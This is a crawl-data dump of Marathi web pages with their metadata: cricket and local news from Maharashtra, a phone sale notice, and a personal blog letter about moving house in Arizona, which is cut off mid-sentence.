मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://mahasports.co.in/the-delhi-t20i-btw-indvnz-was-the-first-ever-international-match-ashish-nehras-father/", "date_download": "2018-09-25T17:17:07Z", "digest": "sha1:TKGEZ4LM4R53NVZH5YBGGFIA6LDEDDKO", "length": 7479, "nlines": 66, "source_domain": "mahasports.co.in", "title": "आणि नेहराच्या वडिलांनी पहिल्यांदाच पाहिला आंतरराष्ट्रीय सामना -", "raw_content": "\nआणि नेहराच्या वडिलांनी पहिल्यांदाच पाहिला आंतरराष्ट्रीय सामना\nआणि नेहराच्या वडिलांनी पहिल्यांदाच पाहिला आंतरराष्ट्रीय सामना\n भारताचा माजी वेगवान गोलंदाज आशिष नेहराने १ नोव्हेंबर रोजी दिल्ली येथे झालेल्या टी२० सामन्यातून आंतरराष्ट्रीय क्रिकेटमधून निवृत्ती घेतली. नेहरा भारताकडून आजपर्यंत १७ कसोटी, १२० वनडे आणि २७ टी२० सामने खेळला.\nपरंतु आपण ऐकून आश्चर्यचकित व्हाल की नेहरच्या वडिलांनी पाहिलेला हा पहिलाच आंतरराष्ट्रीय सामना होता. दिवाण सिंग असे नेहराच्या वडिलांचे नाव असून त्यांनी पहिल्यांदाच आपल्या मुलाला आंतरराष्ट्रीय क्रिकेटमध्ये खेळताना पाहिले.\n३८वर्षीय नेहराच्या शेवटच्या सामन्याला त्याचे कुटुंब उपस्थित होते. यावेळी नेहराचे वडील दिवाण सिंग, आई सुमित्रा नेहरा, पत्नी रुषमा ,मुलगा आरुष नेहरा आणि मुलगी आरिआना नेहरा उपस्थित होते. कर्णधार विराट कोहली त्यांच्याशी बोलतानाही दिसला.\nभारतीय संघाने न्यूझीलंड संघावर विजय मिळवल्यावर शिखर धवन आणि विराट कोहली यांनी आशिष नेहराच्या आई वडिलांचे आशिर्वाद घेतले. नेहराचे वडील म्हणाले, ” सामना संपल्यावर विराट आणि शिखर यांनी आमची भेट घेतली तसेच आमचे आशीर्वादही घेतले. ते आशिषचे चांगले मित्र आहेत आणि अगदी लहानपणापासून घरी येत असतात. “\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://lokmat.news18.com/amp/technology-2/xiaomi-mi-fan-festival-starts-from-6-april-257638.html", "date_download": "2018-09-25T17:04:04Z", "digest": "sha1:L7FZNZPRJ46W667ZLUHJD52W4IVRWPLK", "length": 1952, "nlines": 25, "source_domain": "lokmat.news18.com", "title": "Lokmat News - शाओमी फ्लॅश सेलमध्ये 1 रुपयात मोबाईल, कधी आणि कुठे करणार खरेदी ?–News18 Lokmat", "raw_content": "\nशाओमी फ्लॅश सेलमध्ये 1 रुपयात मोबाईल, कधी आणि कुठे करणार खरेदी \nया फ्लॅश सेलमध्ये फक्त 1 रुपयामध्ये आपण शाओमी रेडमी नोट 4 विकत घेऊ शकतो.\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\n‘गणेशोत्सवाचं मॅनेजमेंट’ : पुण्याच्या संस्कृतीचा संपन्न वारसा, श्रीमंत दगडूशेठ हलवाई गणपती\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "https://lokmat.news18.com/bappa-morya-re-2015/article-187605.html", "date_download": "2018-09-25T16:51:07Z", "digest": "sha1:FOLZUCPJB3PH5XQCZ6KXM7TEI67FBWH7", "length": 12966, "nlines": 165, "source_domain": "lokmat.news18.com", "title": "कृत्रिम तलावांना चांगला प्रतिसाद", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nकृत्रिम तलावांना चांगला प्रतिसाद\nकृत्रिम तलावांना चांगला प्रतिसाद\nबाप्पा मोरया रे -2015\n'हो, आम्ही केलं हौदात विसर्जन\nतब्बल 20 तासांनंतर लालबागच्या राजाचं विसर्जन\nविंचूरकर वाड्याच्या बाप्पाचं विसर्जन\nगिरगावात गणेश विसर्जनाला सुरूवात\nमिरवणुकीत 37 फुटी स्वराज्यरथ\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nमहाराष्ट्र, फोटो गॅलरी, स्पेशल स्टोरी\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\nAsia Cup 2018- धोनी कर्णधार बनताच टीम इंडिया झाली ‘चेन्नई सुपर किंग्स’\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/%E0%A4%97%E0%A4%BF%E0%A4%B0%E0%A4%97%E0%A4%BE%E0%A4%B5/", "date_download": "2018-09-25T17:45:02Z", "digest": "sha1:TRFZTBLIW7CQV4TFC4Q75D4Y2BW5AOO4", "length": 12309, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "गिरगाव- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO: लालबागच्या राजाच्या विसर्जनावेळी कोळ्यांची बोट उलटली\nमुंबई, 24 सप्टेंबर : गिरगाव चौपाटीत कोळ्यांची बोट उलटली आहे. आपल्या लाडक्या बाप्पाच्या विसर्जनाला आत समुद्रात जात असताना काही कोळी बांधवांची बोट ही समुद्रात उलटली. पण सुदैवाने यात कोणतीही हानी झालेली नाही. सर्वांना तात्काळ वाचवण्यात आलं. मरीन पोलीस, कोस्ट गार्ड घटनास्थळी दाखल झाले होते. तर इतर कोळ्यांच्या बोटीतील मच्छीमारांनी तात्काळ उड्या घेऊन बोटीतील लोकांना वाचवलंय. या घटनेचा एक व्हिडिओ आता समोर आला आहे.\nलालबागच्या राजाच्या विसर्जनावेळी चौपाटीत कोळ्यांची बोट उलटली\nलालबागच्या राजाचा विसर्जन सोहळा संपन्न\nPHOTOS : मुंबईतल्या गिरगाव चौपाटीवरील गणेश विसर्जनाची विहंगम दृश्ये\nगणेशोत्सव बिनधास्त साजरा करा, राज ठाकरेंचं गिरगावकरांना आवाहन\nदिलेल्या शब्दाला जागले राज ठाकरे, गिरगावकरांच्या मदतीला धावले\nनाट्य संमेलनाचा समारोप : मुंबईत रंगभूमीचा इतिहास सांगणारं कलादालन उभारणार - उद्धव ठाकरे\nमहाराष्ट्र Mar 18, 2018\nगुढीपाडव्याचा सन, आता उभारा रे गुढी; नव्या वरसाचं देनं, सोडा मनातली आढी\nगिरगावात पाडव्यानिमित्त 7000 चौरस फुटांची रांगोळी\nमाहीमच्या भूमिगत बोगद्याच्या कामासाठी मुंबईत आज पाणीपुरवठा बंद\nमुंबईकरांसाठी खरेदीची पर्वणी, राज्य सरकारची खरेदी महोत्सवाची घोषणा\nमुंबईत 24, 25 आणि 31 डिसेंबरला बार-रेस्टॉरंट पहाटेपर्यंत सुरू\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/ncp/all/page-2/", "date_download": "2018-09-25T17:41:12Z", "digest": "sha1:GP57FZPVPOPF2VOHVYCOZBX7LBOR6RSG", "length": 12202, "nlines": 144, "source_domain": "lokmat.news18.com", "title": "Ncp- News18 Lokmat Official Website Page-2", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nVIDEO : राष्ट्रवादीच्या महिला कार्यकर्त्यांची 'मातोश्री'बाहेर घोषणाबाजी\n14 आॅगस्ट : महिला राष्ट्रवादी काँग्रेसनं आज शिवसेना पक्षप्रमुख उद्धव ठाकरे यांच्या निवासस्थान मातोश्री बाहेर आंदोलन केलं. काल मुंबईत पार पडलेल्या एका कार्यक्रमात पगडीचं राजकारण करणाऱ्यांच डोकं ठिकाण्यावर आहे का असं म्हणत शरद पवारांवर उद्धव ठाकरेंनी निशाणा साधला होता. त्याचाच निषेध म्हणून आज महिला राष्ट्रवादी काँग्रेसकडून आंदोलन करण्यात आलं. उद्धव ठाकरे यांनी या प्रकरणी माफी मागावी अशी मागणी यावेळी महिला राष्ट्रवादी पदाधिकाऱ्यांनी केलीय.\nमराठा आणि बहुजन समाजात फूट पाडण्याचा डाव-शरद पवार\nनालासोपारा शस्त्रसाठा प्रकरण : चार संशयितांची सुटका\nनालासोपरा शस्त्रसाठा प्रकरण : संशयितांकडून बॉम्ब बनवण्याची पुस्तकं हस्तगत\nमराठा आंदोलनाच्या आगीतही सांगली आणि जळगावात कमळ उमललं \nJalgaon Election 2018: जळगावात काँग्रेस-राष्ट्रवादीचा सुफडासाफ\nकोण जिंकणार सांगली आणि जळगावचा आखाडा, उद्या मतमोजणी\nजळगाव, सांगलीत 55 टक्के मतदान, दोन 'दादां'चं वर्चस्व पणाला\nआरक्षणासाठी बैठकींचं सत्र, शिवसेना, काँग्रेस आणि राष्ट्रवादी पक्षांच्या आमदारांसोबत स्वतंत्र बैठका\nराजीनामा सत्र सुरुच, या आमदाराने थेट तुरूंगातुन पाठवला राजीनामा\n'समाजात तेढ निर्माण केला जातोय'\n'भाजप धर्माचा आधार घेतोय'\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00344.warc.wet.gz", "language": "mr", "language_score": 0.92, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2009/09/blog-post_28.html", "date_download": "2018-09-25T17:47:32Z", "digest": "sha1:XYB2XSH6QQMYGUF6VGIIZDO73TGV2EOT", "length": 16671, "nlines": 88, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: विंचवाचे बिह्राड", "raw_content": "\nएक आठवडा झाला नवीन घरात राह्यला येऊन. तुझ्या जन्मानंतर इतक्या वस्तु वाढल्या आहेत की घरात जागा कमी पडु लागली आहे. त्यामुळे घर बदलण्याची गरज पडली.\nतसेही अमेरिकेत लोक सरासरी ८-९ वेळा आपली राहण्याची जागा बदलतात. आपल्याकडे पूर्वी पोटासाठी अनेक शहरे फिरणारी माणसे बव्हंशी सैन्याशी संबंधीतच असायचे. बाकी तुरळक इतर सरकारी नोकर अथवा अतिशय उच्चपदस्थ व्यावसायिक इत्यादि. परंतु बर्याचदा थोड्याशा विस्तारीत पंचकोश्रीच्या बाहेर सहसा माणसे जात नसत. आमचे आजोबा सासवड सोडुन पुण्यात नोकरी करायला आले म्हणजे परदेशात गेल्यासारखेच झाले असणार आहे सासवडकरांना आत्तासुद्धा संगणक अभियंते सोडले तर नोकरीनिमित्त दुसर्या राज्यात जाणारी माणसे खूपच कमी (एकुण लोकसंख्येच्या मानाने). हे बदलालया हवे. गुणवत्तेला आकर्षीत करण्यासाठी सगळीकडे समान प्रगती आणि समान संधी उपलब्ध असायला हवी.\nअसो ... तर अमेरिकेत हे आपले सातवे पुनर्वसन लान्सिंग -> न्युयॉर्क -> लान्सिंग -> फिनिक्स -> टेम्पी -> चॅण्डलर -> चॅण्डलर असे हे आपले विंचवाचे बिह्राड फिरते आहे. सुरुवातिला दोन सुटकेसेस घेऊन आलेला मी ... त्यानंतर तुझ्या आईच्या दोन सुटकेसेस ... पहिल्यांदा लान्सिंग ते न्युयॉर्क गेलो तेव्हा १९९३ सालची निस्सान अगदी खच्च भरुन गेली होती आणि वर उरलेले सामान लान्सिंगलाच स्टोरेज मध्ये ठेवलेले. त्यानंतर बघता बघता सिद्धोबाचे सामान आमच्या दोघांच्यापेक्षा जास्त झाले. आणि आत्ता हे घर हलवले तर दोन बेडरुमच्या अपार्टमेंटमध्ये ४ बेडरुम इतके सामान निघाले. अगदी भाड्याचा ट्रकदेखील खच्च भरुनही सगळे सामान पुरले नाही. शेवटी आपल्या व्हॅनने ७-८ चकरा माराव्या लागल्या. आणि यावर कडी म्हणजे पंचवीस एक पोती भरुन सामान फेकुन दिले कारण ते अनावश्यक आहे असे लक्षात आले.\nपंचवीस पोती अनावश्यक सामान अर्थात कचरा आपण इतक्या कचर्यात रहात होतो \nबघ. कळतदेखील नाही की खरोखरीच कशाची गरज आहे. उगाच संचय करुन ठेवतो आपण. \"ही माझी तिसरीतली अंडरवेअर\" आता त्याच्यात कशाला जीव गुंतवायचा\" आता त्याच्यात कशाला जीव गुंतवायचा पण नाही ... मन विचित्र असते. ते भलत्या सलत्या गोष्टींमध्ये गुंतते. भूतकाळ नाहीतर भविष्यकाळ यांचा विचार करत करत आजचे जगणे विसरते. \"लाईफ इज व्हॉट पासेस अस बाय व्हाईल वि आर प्लॅनिंग अबाऊट इट.\" किती खरे आहे.\nअसो ... त्यामुळे मला दर काही दिवसांनी अशी कचरामोहिम काढायला फार आवडते. आमच्या कंपनीमध्ये मी व्यवसाय परिवर्तन (अर्थात बिझनेस ट्रांस्फॉर्मेशन) चे काम करतो. त्याचे महत्वाचे सुत्र हेच आहे की काळाच्या ओघात अनेक इष्ट अनिष्ट गोष्टींचे गाठोडे निर्माण होते. त्यामधील इष्ट गोष्टी ठेवायच्या आणि अनिष्ट टाकुन द्यायच्या.\nतर आपले विंचवाचे बिह्राड नवीन ठिकाणी पोहोचवण्यासाठी यावेळी कामगार मदतीला लावले. १५ डॉलर्स एका तासाला या दराने... चार्ली नावाचा ५५-६० वर्षांचा माणुस आणि एरिक नावाचा त्याचा ३५ एक वर्षांचा मदतनीस. ऍरिझोनाच्या १०३ डिग्री फॅरेनहाईटमध्ये दोघांनी इतके मन मोडुन काम केले की मला आणि सोनालीलाच त्यांची दया आली. आम्ही वारंवार थोडावेळ विश्रांती घ्या असे म्हणुनदेखील ते काही थांबले नाहीत. मध्येच त्यांना कोक-पेप्सी इत्यादि थंड पेये आणुन दिली ती मात्र घेतली त्यांनी. अमेरिकन कामगाराइतका कष्टाळु कामगार जगात कुठेही नाही. यामागे आर्थिक आणि सांस्कृतिक कारणे आहेत. परंतु त्याचा उहापोह पुन्हा कधी.\nचार्ली आणि एरिकने स्वत:हुन त्यांचा ट्रक आणला, तसेच सामान चठवण्यासाठी एक ट्रॉली आणि सामान बांधण्यासाठी पट्टे पण आणले. खरे तर त्यांना १५ डॉलर्स तासाच्या दराने आणलेले. त्यांना हे सगले करायची काहीच गरज नव्हती. परंतु तरीही त्यांनी आमच्या फायद्याचा विचार केला. काम करतानाही कुठेही वेळ घालवणे नाही. आणि ट्रकमध्ये सामान तर इतके अचूक रचले की एक फुट देखील जागा राहिली नाही कुठे. संगणकशास्त्र आणि गणितात एक कूटप्रश्न आहे याविषयावर ... त्याचे नाव \"नॅपसॅक प्रॉब्लेम\". यामध्ये एका ठराविक जागेत जास्तीत जास्त वस्तु भरायच्या असतात. संगणकालादेखील हा कूटप्रश्न सोडवायला सोपे नाही. मी चार्ली आणि एरिक ला ते सांगीतले तर ते खूष झाले.\nपरंतु 